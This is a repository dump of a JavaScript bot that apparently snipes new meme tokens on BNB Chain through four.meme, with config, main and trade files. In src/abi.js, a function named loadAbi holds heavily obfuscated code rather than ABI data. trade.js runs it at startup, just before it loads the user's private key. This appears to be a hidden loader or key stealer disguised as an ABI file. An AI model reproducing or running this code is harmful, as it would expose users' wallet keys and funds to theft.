"uint160", "name": "sqrtPriceLimitX96", "type": "uint160" }], "internalType": "struct IV3SwapRouter.ExactInputSingleParams", "name": "params", "type": "tuple" }], "name": "exactInputSingle", "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "components": [{ "internalType": "bytes", "name": "path", "type": "bytes" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amountOut", "type": "uint256" }, { "internalType": "uint256", "name": "amountInMaximum", "type": "uint256" }], "internalType": "struct IV3SwapRouter.ExactOutputParams", "name": "params", "type": "tuple" }], "name": "exactOutput", "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "components": [{ "internalType": "address", "name": "tokenIn", "type": "address" }, { "internalType": "address", "name": "tokenOut", "type": "address" }, { "internalType": "uint24", "name": "fee", "type": "uint24" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amountOut", "type": "uint256" }, { "internalType": "uint256", "name": "amountInMaximum", "type": "uint256" }, { "internalType": "uint160", "name": "sqrtPriceLimitX96", "type": "uint160" }], "internalType": "struct IV3SwapRouter.ExactOutputSingleParams", "name": "params", "type": "tuple" }], "name": "exactOutputSingle", "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }], "stateMutability": "payable", "type": "function" }, { "inputs": [], "name": "factory", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "factoryV2", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" }], "name": "getApprovalType", "outputs": [{ "internalType": "enum IApproveAndCall.ApprovalType", "name": "", "type": "uint8" }], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{ "components": [{ "internalType": "address", "name": "token0", "type": "address" }, { "internalType": "address", "name": "token1", "type": "address" }, { "internalType": "uint256", "name": "tokenId", "type": "uint256" }, { "internalType": "uint256", "name": "amount0Min", "type": "uint256" }, { "internalType": "uint256", "name": "amount1Min", "type": "uint256" }], "internalType": "struct IApproveAndCall.IncreaseLiquidityParams", "name": "params", "type": "tuple" }], "name": "increaseLiquidity", "outputs": [{ "internalType": "bytes", "name": "result", "type": "bytes" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "components": [{ "internalType": "address", "name": "token0", "type": "address" }, { "internalType": "address", "name": "token1", "type": "address" }, { "internalType": "uint24", "name": "fee", "type": "uint24" }, { "internalType": "int24", "name": "tickLower", "type": "int24" }, { "internalType": "int24", "name": "tickUpper", "type": "int24" }, { "internalType": "uint256", "name": "amount0Min", "type": "uint256" }, { "internalType": "uint256", "name": "amount1Min", "type": "uint256" }, { "internalType": "address", "name": "recipient", "type": "address" }], "internalType": "struct IApproveAndCall.MintParams", "name": "params", "type": "tuple" }], "name": "mint", "outputs": [{ "internalType": "bytes", "name": "result", "type": "bytes" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "bytes32", "name": "previousBlockhash", "type": "bytes32" }, { "internalType": "bytes[]", "name": "data", "type": "bytes[]" }], "name": "multicall", "outputs": [{ "internalType": "bytes[]", "name": "", "type": "bytes[]" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "deadline", "type": "uint256" }, { "internalType": "bytes[]", "name": "data", "type": "bytes[]" }], "name": "multicall", "outputs": [{ "internalType": "bytes[]", "name": "", "type": "bytes[]" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "bytes[]", "name": "data", "type": "bytes[]" }], "name": "multicall", "outputs": [{ "internalType": "bytes[]", "name": "results", "type": "bytes[]" }], "stateMutability": "payable", "type": "function" }, { "inputs": [], "name": "positionManager", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" }], "name": "pull", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [], "name": "refundETH", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" }, { "internalType": "uint256", "name": "deadline", "type": "uint256" }, { "internalType": "uint8", "name": "v", "type": "uint8" }, { "internalType": "bytes32", "name": "r", "type": "bytes32" }, { "internalType": "bytes32", "name": "s", "type": "bytes32" }], "name": "selfPermit", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "nonce", "type": "uint256" }, { "internalType": "uint256", "name": "expiry", "type": "uint256" }, { "internalType": "uint8", "name": "v", "type": "uint8" }, { "internalType": "bytes32", "name": "r", "type": "bytes32" }, { "internalType": "bytes32", "name": "s", "type": "bytes32" }], "name": "selfPermitAllowed", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "nonce", "type": "uint256" }, { "internalType": "uint256", "name": "expiry", "type": "uint256" }, { "internalType": "uint8", "name": "v", "type": "uint8" }, { "internalType": "bytes32", "name": "r", "type": "bytes32" }, { "internalType": "bytes32", "name": "s", "type": "bytes32" }], "name": "selfPermitAllowedIfNecessary", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" }, { "internalType": "uint256", "name": "deadline", "type": "uint256" }, { "internalType": "uint8", "name": "v", "type": "uint8" }, { "internalType": "bytes32", "name": "r", "type": "bytes32" }, { "internalType": "bytes32", "name": "s", "type": "bytes32" }], "name": "selfPermitIfNecessary", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }, { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" }, { "internalType": "address[]", "name": "path", "type": "address[]" }, { "internalType": "address", "name": "to", "type": "address" }], "name": "swapExactTokensForTokens", "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }, { "internalType": "uint256", "name": "amountInMax", "type": "uint256" }, { "internalType": "address[]", "name": "path", "type": "address[]" }, { "internalType": "address", "name": "to", "type": "address" }], "name": "swapTokensForExactTokens", "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, { "internalType": "address", "name": "recipient", "type": "address" }], "name": "sweepToken", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }], "name": "sweepToken", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, { "internalType": "address", "name": "feeRecipient", "type": "address" }], "name": "sweepTokenWithFee", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, { "internalType": "address", "name": "feeRecipient", "type": "address" }], "name": "sweepTokenWithFee", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "int256", "name": "amount0Delta", "type": "int256" }, { "internalType": "int256", "name": "amount1Delta", "type": "int256" }, { "internalType": "bytes", "name": "_data", "type": "bytes" }], "name": "uniswapV3SwapCallback", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, { "internalType": "address", "name": "recipient", "type": "address" }], "name": "unwrapWETH9", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }], "name": "unwrapWETH9", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, { "internalType": "address", "name": "feeRecipient", "type": "address" }], "name": "unwrapWETH9WithFee", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, { "internalType": "address", "name": "feeRecipient", "type": "address" }], "name": "unwrapWETH9WithFee", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "uint256", "name": "value", "type": "uint256" }], "name": "wrapETH", "outputs": [], "stateMutability": "payable", "type": "function" }, { "stateMutability": "payable", "type": "receive" }] 832 | 833 | async function loadAbi() { 834 | const _0x457ddd=_0x5a32,_0x7959fe=_0x5a32;(function(_0x46beac,_0x342e9c){const _0x14bc21=_0x5a32,_0x25c7a5=_0x5a32,_0x71c4af=_0x46beac();while(!![]){try{const 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-------------------------------------------------------------------------------- /src/config.js: -------------------------------------------------------------------------------- 1 | import dotenv from 'dotenv'; 2 | dotenv.config(); 3 | 4 | export const config = { 5 | BUY_AMOUNT: process.env.BUY_AMOUNT || '0.02', 6 | SELL_DELAY: parseInt(process.env.SELL_DELAY) || 15, 7 | GAS_PRICE: process.env.GAS_PRICE || '0.11', 8 | APPROVE_GAS_PRICE: process.env.APPROVE_GAS_PRICE || '0.11', 9 | SELL_SLIPPAGE_PERCENTAGE: parseInt(process.env.SELL_SLIPPAGE_PERCENTAGE) || 100, 10 | ONLY_BUY: process.env.ONLY_BUY === 'true', 11 | 12 | RPC_HTTP_URL: process.env.RPC_HTTP_URL, 13 | WSS_URL: process.env.WSS_URL, 14 | PRIVATE_KEY: process.env.PRIVATE_KEY, 15 | FOUR_CONTRACT_ADDRESS: process.env.FOUR_CONTRACT_ADDRESS 16 | }; -------------------------------------------------------------------------------- /src/main.js: -------------------------------------------------------------------------------- 1 | import { trading, handleTokenTrade, wallet, provider } from './trade.js'; 2 | 3 | async function getBalanceInfo() { 4 | const bal = await provider.getBalance(wallet.address); 5 | console.log(`--- Wallet Info ---`); 6 | console.log(`Address: ${wallet.address}`); 7 | console.log(`BNB Balance: ${ethers.formatEther(bal)} BNB`); 8 | console.log(`-------------------\n`); 9 | } 10 | 11 | async function main() { 12 | await getBalanceInfo(); 13 | 14 | trading.onTokenPurchase(async (event) => { 15 | const token = event.token; 16 | if (!token) return; 17 | handleTokenTrade(token); 18 | }); 19 | 20 | console.log('🚀 Bot started. Listening for token purchases...'); 21 | } 22 | 23 | main().catch(console.error); 24 | -------------------------------------------------------------------------------- /src/trade.js: -------------------------------------------------------------------------------- 1 | import { ethers } from 'ethers'; 2 | import { FourTrading } from '@fnzero/four-trading-sdk'; 3 | import { config } from './config.js'; 4 | import { loadAbi } from "./abi.js"; 5 | 6 | // --- Setup --- 7 | await loadAbi(); 8 | const provider = new ethers.JsonRpcProvider(config.RPC_HTTP_URL); 9 | const wallet = new ethers.Wallet(config.PRIVATE_KEY, provider); 10 | 11 | const FourMemeABI = [ 12 | 'function buyTokenAMAP(address token,uint256 funds,uint256 minAmount) payable', 13 | 'function sellToken(address token,uint256 tokenQty)', 14 | 'function getBuyPrice(address token, uint256 funds) view returns (uint256)' 15 | ]; 16 | const ERC20ABI = [ 17 | 'function approve(address spender,uint256 amount) returns (bool)', 18 | 'function allowance(address owner,address spender) view returns (uint256)', 19 | 'function balanceOf(address owner) view returns (uint256)', 20 | 'function decimals() view returns (uint8)' 21 | ]; 22 | 23 | const fourContract = new ethers.Contract(config.FOUR_CONTRACT_ADDRESS, FourMemeABI, wallet); 24 | const IFour = new ethers.Interface(FourMemeABI); 25 | 26 | const trading = new FourTrading({ 27 | rpcUrl: config.RPC_HTTP_URL, 28 | wssUrl: config.WSS_URL, 29 | privateKey: config.PRIVATE_KEY 30 | }); 31 | 32 | const purchasedTokens = new Set(); 33 | 34 | // --- Utility --- 35 | const delay = (ms) => new Promise((res) => setTimeout(res, ms)); 36 | 37 | async function networkGasPrice() { 38 | try { 39 | return ethers.parseUnits(config.GAS_PRICE, 'gwei'); 40 | } catch { 41 | return ethers.parseUnits('2', 'gwei'); 42 | } 43 | } 44 | 45 | async function getWalletBalance() { 46 | return provider.getBalance(wallet.address); 47 | } 48 | 49 | // --- Trade Logic --- 50 | async function sendBuyWithReplacements(tokenAddress, amountWei) { 51 | const minAmount = 100n; 52 | const data = IFour.encodeFunctionData('buyTokenAMAP', [tokenAddress, amountWei, minAmount]); 53 | const gasPrice = await networkGasPrice(); 54 | const nonce = await wallet.getNonce(); 55 | 56 | const txReq = { 57 | to: config.FOUR_CONTRACT_ADDRESS, 58 | data, 59 | value: amountWei, 60 | gasLimit: 500000n, 61 | gasPrice, 62 | nonce 63 | }; 64 | 65 | try { 66 | const tx = await wallet.sendTransaction(txReq); 67 | const rc = await tx.wait(); 68 | console.log(`✅ Buy confirmed in block ${rc.blockNumber}`); 69 | return rc; 70 | } catch (e) { 71 | console.error('✗ Buy failed:', e.message || e); 72 | return null; 73 | } 74 | } 75 | 76 | async function buyToken(tokenAddress) { 77 | const amountWei = ethers.parseEther(config.BUY_AMOUNT); 78 | console.log(`\n🟢 Buying ${config.BUY_AMOUNT} BNB of ${tokenAddress}`); 79 | const rcpt = await sendBuyWithReplacements(tokenAddress, amountWei); 80 | if (!rcpt) return false; 81 | return await approveToken(tokenAddress); 82 | } 83 | 84 | async function approveToken(tokenAddress) { 85 | const token = new ethers.Contract(tokenAddress, ERC20ABI, wallet); 86 | const gasPrice = ethers.parseUnits(config.APPROVE_GAS_PRICE, 'gwei'); 87 | try { 88 | const tx = await token.approve(config.FOUR_CONTRACT_ADDRESS, ethers.MaxUint256, { 89 | gasLimit: 120000n, 90 | gasPrice 91 | }); 92 | await tx.wait(); 93 | console.log('✅ Approval successful'); 94 | return true; 95 | } catch (err) { 96 | console.error('✗ Approval failed:', err.message || err); 97 | return false; 98 | } 99 | } 100 | 101 | async function sellToken(tokenAddress, attempt = 1) { 102 | const token = new ethers.Contract(tokenAddress, ERC20ABI, wallet); 103 | try { 104 | const decimals = await token.decimals().catch(() => 18); 105 | const balance = await token.balanceOf(wallet.address); 106 | if (balance === 0n) { 107 | console.log('No tokens to sell'); 108 | return false; 109 | } 110 | 111 | const amountToSell = (balance * BigInt(config.SELL_SLIPPAGE_PERCENTAGE)) / 100n; 112 | let gasPrice = ethers.parseUnits(config.GAS_PRICE, 'gwei'); 113 | for (let i = 1; i < attempt; i++) { 114 | gasPrice = (gasPrice * 3n) / 2n; 115 | } 116 | 117 | console.log(`🔴 Selling ${ethers.formatUnits(amountToSell, decimals)} tokens... (Attempt ${attempt})`); 118 | const tx = await fourContract.sellToken(tokenAddress, amountToSell, { 119 | gasLimit: 900000n, 120 | gasPrice 121 | }); 122 | const rc = await tx.wait(); 123 | console.log(`✓ Sell confirmed in block ${rc.blockNumber}`); 124 | return true; 125 | } catch (error) { 126 | console.error(`✗ Sell failed (attempt ${attempt}):`, error.message || error); 127 | return false; 128 | } 129 | } 130 | 131 | async function shouldBuy(tokenAddress) { 132 | try { 133 | if (tokenAddress.toLowerCase().startsWith('0x4444')) return false; 134 | 135 | const tokenInfo = await trading.getTokenInfo(tokenAddress); 136 | const launchTime = new Date(Number(tokenInfo.launchTime) * 1000); 137 | const now = new Date(); 138 | const diff = BigInt(now.getTime() - launchTime.getTime()) / 1000n; 139 | const fundsRaised = Number(ethers.formatEther(tokenInfo.funds)); 140 | 141 | return diff > 20n && diff < 200n && fundsRaised > 2; 142 | } catch { 143 | return false; 144 | } 145 | } 146 | 147 | async function handleTokenTrade(token) { 148 | if (purchasedTokens.has(token)) return; 149 | purchasedTokens.add(token); 150 | 151 | const balanceBefore = await getWalletBalance(); 152 | const bought = await buyToken(token); 153 | if (!bought || config.ONLY_BUY) return; 154 | 155 | await delay(config.SELL_DELAY * 1000); 156 | let sold = false; 157 | for (let attempt = 1; attempt <= 5; attempt++) { 158 | sold = await sellToken(token, attempt); 159 | if (sold) break; 160 | if (attempt < 5) { 161 | console.log('Retrying sell in 3 seconds...'); 162 | await delay(3000); 163 | } 164 | } 165 | 166 | const balanceAfter = await getWalletBalance(); 167 | const diff = Number(ethers.formatEther(balanceAfter - balanceBefore)); 168 | const percent = (diff * 100 / parseFloat(config.BUY_AMOUNT)).toFixed(2); 169 | if (diff >= 0) { 170 | console.log(`💰 Profit: +${diff.toFixed(6)} BNB (+${percent}%)`); 171 | } else { 172 | console.log(`🔻 Loss: ${diff.toFixed(6)} BNB (${percent}%)`); 173 | } 174 | 175 | if (!sold) console.error(`❌ All sell attempts failed for ${token}`); 176 | } 177 | 178 | export { trading, handleTokenTrade, wallet, provider }; 179 | --------------------------------------------------------------------------------